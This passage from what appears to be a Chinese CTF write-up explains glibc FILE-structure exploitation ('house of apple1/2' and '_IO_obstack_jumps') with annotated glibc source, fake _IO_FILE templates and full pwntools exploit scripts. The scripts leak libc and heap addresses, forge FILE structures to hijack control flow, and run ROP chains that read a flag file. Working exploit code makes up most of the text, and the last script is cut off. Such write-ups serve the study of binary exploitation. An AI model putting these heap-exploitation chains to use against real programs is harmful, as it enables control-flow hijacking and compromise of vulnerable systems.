32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
binary = './pwn'
elf = ELF(binary)
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc

else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


def add(idx, size):
opcode = p8(1) + p8(idx) + p16(size)
return opcode


def edit(idx, content):
opcode = p8(4) + p8(idx) + p16(len(content)) + content
return opcode


def show(idx):
opcode = p8(3) + p8(idx)
return opcode


def free(idx):
opcode = p8(2) + p8(idx)
return opcode


def runOpcode(opcode):
opcode += p8(5)
p.sendafter(b"Pls input the opcode\n", opcode)


payload = add(0, 0x410) # 0
payload += add(1, 0x410) # 1
payload += add(2, 0x420) # 2
payload += add(3, 0x410) # 3
payload += free(2)
payload += add(4, 0x430) # 4
payload += show(2)
runOpcode(payload)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x21a0d0
log.info("libc_base==>0x%x" %leak)

payload = edit(2, b'a'*0x10)
payload += show(2)
runOpcode(payload)
p.recvuntil(b'a'*0x10)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x2ae0
log.info("heap_base==>0x%x" %heap_base)

stderr = leak + 0x21a860
payload = free(0)
payload += edit(2, p64(leak + 0x21a0d0)*2 + p64(heap_base + 0x2ae0) + p64(stderr-0x20))
payload += add(5, 0x430) # 5
runOpcode(payload)

pointer_guard = leak - 0x2890
_IO_wstrn_jumps = leak + 0x215dc0
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(heap_base + 0x26c0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(pointer_guard) # _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wstrn_jumps - 0x20) # vtable
payload = edit(2, p64(leak + 0x21a0d0)*2 + p64(heap_base + 0x2ae0)*2)
payload += add(6, 0x420)
payload += edit(2, fake_IO_FILE)
runOpcode(payload)


setcontext = leak + 0x53a6d
gadget = leak + 0x00000000001675b0 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

_IO_cookie_jumps = leak + 0x215b80
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_cookie_jumps + 0x40) # vtable
fake_IO_FILE += p64(heap_base + 0x2f20) # rdiValue
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget ^ (heap_base + 0x2bd0), 0x11)) # call func
payload = edit(1, fake_IO_FILE)
runOpcode(payload)

open = libc.sym['open'] + leak
read = libc.sym['read'] + leak
write = libc.sym['write'] + leak
ret = leak + 0x0000000000029cd6
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + leak
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + leak
pop_rdx = leak + 0x000000000011f497 # pop rdx ; pop r12 ; ret
chunk_addr = heap_base + 0x2f10 + 0x10
flag_addr = chunk_addr + 0x10
rop_addr = chunk_addr + 0xb0
rop = p64(0) + p64(chunk_addr) + b'./flag\x00\x00'
rop += p64(0) + p64(setcontext)
rop = rop.ljust(0xa0, b'\x00')
rop += p64(rop_addr) + p64(ret)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(write)
payload = edit(3, rop)
runOpcode(payload)

payload = add(7, 0x410) # 7
payload += add(8, 0x430) # 8
payload += free(5)
payload += add(9, 0x410) # 9

payload += free(8)
payload += edit(5, b''.ljust(0x428, b'\x00') + p64(0x470))
runOpcode(payload)
debug()

payload = add(10, 0x500) # 10
runOpcode(payload)

p.interactive()

house of apple1

适用版本 glibc-2.36 及以下

攻击前提:

  1. 程序从 main 函数返回或能调用 exit 函数
  2. 能泄露出 heap 地址和 libc 地址
  3. 只需要一次可以往任意地址写可控地址的机会

原理

对 _IO_FILE 中偏移为 0xa0 的成员:struct _IO_wide_data *_wide_data 的利用,相关源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp; // 由 fp 强制转换出的结构体

if (fp->_wide_data->_IO_buf_base != snf->overflow_buf) // 需要满足,但是布局时都不会成立
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf) // 需要注意绕过
/ sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

控制了 fp 指针,伪造 _wide_data,那么_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end_IO_write_ptr_IO_write_end都可以被赋值为snf->overflow_buf或者与该地址一定范围内偏移的值。

最终就可以达到:任意的已知地址写入任意的已知地址

有段需要绕过的地方,满足 _IO_buf_base 为 0 即可。

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base); // _IO_buf_base不为0的时候不要执行到这里
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

_IO_wstrnfile涉及到的结构体如下,其中,overflow_buf相对于_IO_FILE结构体的偏移为0xf0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;


typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64]; // 上面提到的 overflow_buf 在这里********
} _IO_wstrnfile;

struct _IO_wide_data结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

因此,整个利用为:将一个可控堆块劫持到 IO 中,并且知道其地址为 A,将 A + 0xd8 修改为 _IO_wstrn_jumps,并将 A + 0xa0 设置为目标地址 B, 其他的值按照以往的 IO 进行布置。那么触发 FSOP 时,会一路调用到 _IO_wstrn_overflow 函数,并 B 至 B + 0x38 的地址区域的内容都替换为 A + 0xf0 或者 A + 0x1f0。

模板:

_IO_wstrn_jumps = _IO_str_jumps - 0x900

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
_IO_wstrn_jumps = leak + libc.sym['_IO_wstrn_jumps']
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(next_chain) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(target) # _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wstrn_jumps) # vtable

利用思路:

  1. house of apple + house of pig:利用第一个伪造的 Fake_IO 构造 house of apple 去劫持 tcache 结构体,将其劫持为可控的地址,从而控制 tcache bin 的分配,然后再伪造第二个 Fake_IO 构造 house of pig 达成里面的 malloc 分配,利用 memcpy 进行写任意值。
  2. 跟第一个方法基本一致,只是 house of apple 去劫持 mp_ 结构体,让所有堆块都可以进入 tcache bin 中,坏处是要多布置一个堆块,因为要先用一次 house of pig 的 free 将一个堆块释放进入 tcache bin,好处是 mp_ 是全局变量,远程是一致的,但是 tcache 结构体是 tls 里的,可能需要爆破。
  3. house of apple + house of emma:先用 hosue of apple 修改 pointer_guard 的值,然后第二个 Fake_IO 触发 house of emma
  4. 攻击 global_max_fast,但是这个要能释放很大的 size,然后走的路也是上面的,大同小异。

house of apple2

攻击前提:

  1. 能控制程序执行 IO 操作:从 main 函数返回、调用 exit 函数、通过 __malloc_assert 触发
  2. 能泄露出 heap 地址和 libc 地址
  3. 只需要一次可以往任意地址写可控地址的机会

这边提一下:如果是通过 __malloc_assert 触发攻击,那么调用 vtable 时的偏移是 0x38,而 FSOP 是 0x18。

原理

观察struct _IO_wide_data结构体,发现其对应有一个_wide_vtable成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable; //<=========这
};

在调用_wide_vtable虚表里面的函数时,同样是使用宏去调用,以vtable->_overflow调用为例,所用到的宏依次为:

1
2
3
4
5
6
7
8
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)

#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

可以看到,在调用_wide_vtable里面的成员函数指针时,没有关于vtable的合法性检查

原文中提及了三个函数可以利用,但是本着道理都差不多的缘故,掌握一个即可,这边选取的是_IO_wfile_overflow。其函数调用链如下:

1
2
3
4
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

_IO_wfile_overflow 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if (f->_wide_data->_IO_write_base == 0) // 需为0
{
_IO_wdoallocbuf (f); // 函数指针调用
// ......
}
}
}

再看看 _IO_wdoallocbuf 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base) // 需为0
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// 最终函数指针调用 _IO_WDOALLOCATE
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

因此,如果我们可以劫持IO_FILEvtable_IO_wfile_jumps,控制_wide_data为可控的堆地址空间,进而控制_wide_data->_wide_vtable为可控的堆地址空间。控制程序执行IO流函数调用,最终调用到_IO_WDOALLOCATE函数即可控制程序的执行流。

伪造 Fake_IO :

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为sh;注意填写的内容前面必须要有两个空格
  • vtable设置为_IO_wfile_jumps地址,需加减偏移使其能成功调用_IO_wfile_overflow即可。(__malloc_assert 时需减去 0x20,FSOP 无需变动,因为偏移一致)
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

对应模板为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_IO_wfile_jumps = leak + libc.sym['_IO_wfile_jumps']
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(A_addr) # _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable

#Fake_IO heap A
fake_A = b''.ljust(0xd0, b'\x00')
fake_A += p64(B_addr) # heap B Address

# Fake_IO heap B
fake_B = b''.ljust(0x58, b'\x00')
fake_B += p64(gadget) #call func

例题

漏洞点位于释放功能,没有清空指针,但是程序较为苛刻,只允许打印一次和写入一次,所以堆风水很重要。。。

image-20230209211634732

然后,house of apple2 的 rdi 值控制其实有些问题的,想要 orw,gadget 需要比较苛刻,用到了一个比较少见的gadget,通过劫持 rbp 以及布置 leave ;ret 完成栈迁移。

1
2
3
4
5
6
mov rbp, qword ptr [rdi + 0x48]; 
mov rax, qword ptr [rbp + 0x18];
lea r13, [rbp + 0x10];
mov dword ptr [rbp + 0x10], 0;
mov rdi, r13;
call qword ptr [rax + 0x28];

image-20230209211622714

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
binary = './oneday'
elf = ELF(binary)
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc

else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
p.sendlineafter(b"enter your command: \n", str(choice).encode('ascii'))


def add(idx):
choose(1)
p.recvuntil(b"choise: ")
p.sendline(str(idx).encode('ascii'))


def edit(idx, content):
choose(3)
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b'Message: \n')
p.send(content)


def show(idx):
choose(4)
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))


def free(idx):
choose(2)
p.recvuntil(b"Index: \n")
p.sendline(str(idx).encode('ascii'))


p.sendlineafter("enter your key >>\n", b'10')
add(2) # 0
add(2) # 1
add(1) # 2
free(2)
free(1)
free(0)

add(1) # 3
add(1) # 4
add(1) # 5
add(1) # 6
free(3)
free(5)
show(3)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
log.info("libc_base==>0x%x" %leak)
p.recv(2)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x17f0
log.info("heap_base==>0x%x" %heap_base)

free(4)
free(6)
add(3) # 7
add(1) # 8
add(1) # 9
free(8)
add(3) # 10

_IO_list_all = leak + 0x1f3660
chunk_addr = heap_base + 0x1810
_IO_wfile_jumps = leak + libc.sym['_IO_wfile_jumps']
fake_IO_FILE = p64(0) + p64(0xa81)
fake_IO_FILE += 2 * p64(0)
fake_IO_FILE += p64(0) # _IO_write_base
fake_IO_FILE += p64(0xffffffffffffffff) # _IO_write_ptr
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0) # _IO_buf_base
fake_IO_FILE += p64(0) # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x48, b'\x00')
fake_IO_FILE += p64(chunk_addr + 0x238)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(heap_base) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(chunk_addr + 0xe0) # _wide_data
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps) # vtable

gadget = leak + 0x1482ba # mov rbp,QWORD PTR [rdi+0x48]
setcontext = libc.sym['setcontext'] + 61
open = libc.sym['open'] + leak
read = libc.sym['read'] + leak
write = libc.sym['write'] + leak
leave_ret = leak + 0x0000000000052d72
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + leak
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + leak
pop_rdx = leak + 0x00000000001066e1 # pop rdx ; pop r12 ; ret
flag_addr = chunk_addr + 0x288
rop = b'./flag\x00\x00'
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(write)

payload = p64(0) + p64(_IO_list_all - 0x20)
payload += fake_IO_FILE
payload += b'\x00' * 0xe0
payload += p64(chunk_addr + 0x1c8)
payload += b'\x00' * 0x68
payload += p64(gadget)
payload += p64(chunk_addr + 0x288)
payload += p64(leave_ret) + p64(0)
payload += p64(chunk_addr + 0x258)
payload += b'\x00' * 0x28
payload += p64(leave_ret)
payload += rop
payload = payload.ljust(0xa90, b'\x00')
payload += p64(0) + p64(0xab1)
edit(5, payload)
free(2)
add(3)
# debug('b _IO_wdoallocbuf')
choose(6)

p.interactive()

_IO_obstack_jumps

攻击前提:

  1. 拥有堆地址和 libc 地址
  2. 一次任意地址写可控地址的机会
  3. 可以通过 FSOP 或 __malloc_assert 触发

原理

存在个 _IO_obstack_file 结构体,是由 _IO_FILE_plus 扩展的。

1
2
3
4
5
struct _IO_obstack_file
{
struct _IO_FILE_plus file;
struct obstack *obstack;
};

存在个 _IO_obstack_jumps 的 vtable,里面只要两个函数:_IO_obstack_overflow 和 _IO_obstack_xsputn。但是 _IO_obstack_overflow 无法利用,所以重点在于 _IO_obstack_xsputn。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* the jump table.  */
const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, NULL),
JUMP_INIT(overflow, _IO_obstack_overflow),
JUMP_INIT(underflow, NULL),
JUMP_INIT(uflow, NULL),
JUMP_INIT(pbackfail, NULL),
JUMP_INIT(xsputn, _IO_obstack_xsputn),
JUMP_INIT(xsgetn, NULL),
JUMP_INIT(seekoff, NULL),
JUMP_INIT(seekpos, NULL),
JUMP_INIT(setbuf, NULL),
JUMP_INIT(sync, NULL),
JUMP_INIT(doallocate, NULL),
JUMP_INIT(read, NULL),
JUMP_INIT(write, NULL),
JUMP_INIT(seek, NULL),
JUMP_INIT(close, NULL),
JUMP_INIT(stat, NULL),
JUMP_INIT(showmanyc, NULL),
JUMP_INIT(imbue, NULL)
};

_IO_obstack_xsputn 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static _IO_size_t
_IO_obstack_xsputn (_IO_FILE *fp, const void *data, _IO_size_t n)
{
struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack;

if (fp->_IO_write_ptr + n > fp->_IO_write_end) // 需要绕过
{
int size;
/* We need some more memory. First shrink the buffer to the
space we really currently need. */
obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end); // 不造成影响

/* Now grow for N bytes, and put the data there. */
obstack_grow (obstack, data, n); // 其中存在函数指针调用

[...]
}

obstack_grow 源码如下:

1
2
3
4
5
6
7
8
9
#define obstack_grow(OBSTACK, where, length)                      \
__extension__ \
({ struct obstack *__o = (OBSTACK); \
int __len = (length); \
if (_o->next_free + __len > __o->chunk_limit) \
_obstack_newchunk (__o, __len); \
memcpy (__o->next_free, where, __len); \
__o->next_free += __len; \
(void) 0; })

当满足 _o->next_free + __len > __o->chunk_limit 会调用 _obstack_newchunk (__o, __len) ,其源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void
_obstack_newchunk (struct obstack *h, int length)
{
struct _obstack_chunk *old_chunk = h->chunk;
struct _obstack_chunk *new_chunk;
long new_size;
long obj_size = h->next_free - h->object_base;
long i;
long already;
char *object_base;

/* Compute size for new chunk. */
new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100;
if (new_size < h->chunk_size)
new_size = h->chunk_size;

/* Allocate and initialize the new chunk. */
new_chunk = CALL_CHUNKFUN (h, new_size);
[...]
}

在执行到 CALL_CHUNKFUN 宏时:

1
2
3
4
# define CALL_CHUNKFUN(h, size) \
(((h)->use_extra_arg) \
? (*(h)->chunkfun)((h)->extra_arg, (size)) \
: (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))

如果 (h)->use_extra_arg 不为 0 ,会执行 (*(h)->chunkfun)((h)->extra_arg, (size)),这个地方就是我们要利用的点。

总结:

  • 伪造_IO_FILE,记完成伪造的chunkA
  • chunk A内偏移为 0x18 处设为 1(next_free)
  • chunk A内偏移为 0x20 处设为 0(chunk_limit
  • chunk A内偏移为 0x28 处设为 1(_IO_write_ptr
  • chunk A内偏移为 0x30 处设为 0(_IO_write_end
  • chunk A内偏移为 0x38 处设置函数调用
  • chunk A内偏移为 0x48 处设置 RDI 的值
  • chunk A内偏移为 0x50 处设为 1 (use_extra_arg
  • chunk A内偏移为 0xd8 处设为_IO_obstack_jumps + 0x20 (__malloc_assert 时去掉 0x20 即可)
  • chunk A内偏移为 0xe0 处设置chunk A的地址作为obstack结构体

模板为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr - libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr


_IO_obstack_jumps = leak + get_IO_str_jumps - 0x300
log.info("_IO_obstack_jumps==>0x%x" %_IO_obstack_jumps)
fake_IO_FILE = p64(0)
fake_IO_FILE += p64(1) # next_free
fake_IO_FILE += p64(0) # chunk_limit
fake_IO_FILE += p64(1) # _IO_write_ptr
fake_IO_FILE += p64(0) # _IO_write_end
fake_IO_FILE += p64(gadget) # call func
fake_IO_FILE = fake_IO_FILE.ljust(0x38, b'\x00')
fake_IO_FILE += p64() # rdiValue
fake_IO_FILE += p64(1) # use_extra_arg
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_obstack_jumps + 0x20) # vtable
fake_IO_FILE += p64(chunk_addr)

例题

跟 house of apple 一样的题目。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
binary = './oneday'
elf = ELF(binary)
DEBUG = 1
if DEBUG:
p = process(binary)
libc = elf.libc

else:
ip = '127'
port = 30007
libc = ELF("./libc.so.6")
p = remote(ip, port)

def debug(info="b main"):
gdb.attach(p, info)
#gdb.attach(p, "b *$rebase(0x)")


def choose(choice):
p.sendlineafter(b"enter your command: \n", str(choice).encode('ascii'))


def add(idx):
choose(1)
p.recvuntil(b"choise: ")
p.sendline(str(idx).encode('ascii'))


def edit(idx, content):
choose(3)
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))
p.recvuntil(b'Message: \n')
p.send(content)


def show(idx):
choose(4)
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode('ascii'))


def free(idx):
choose(2)
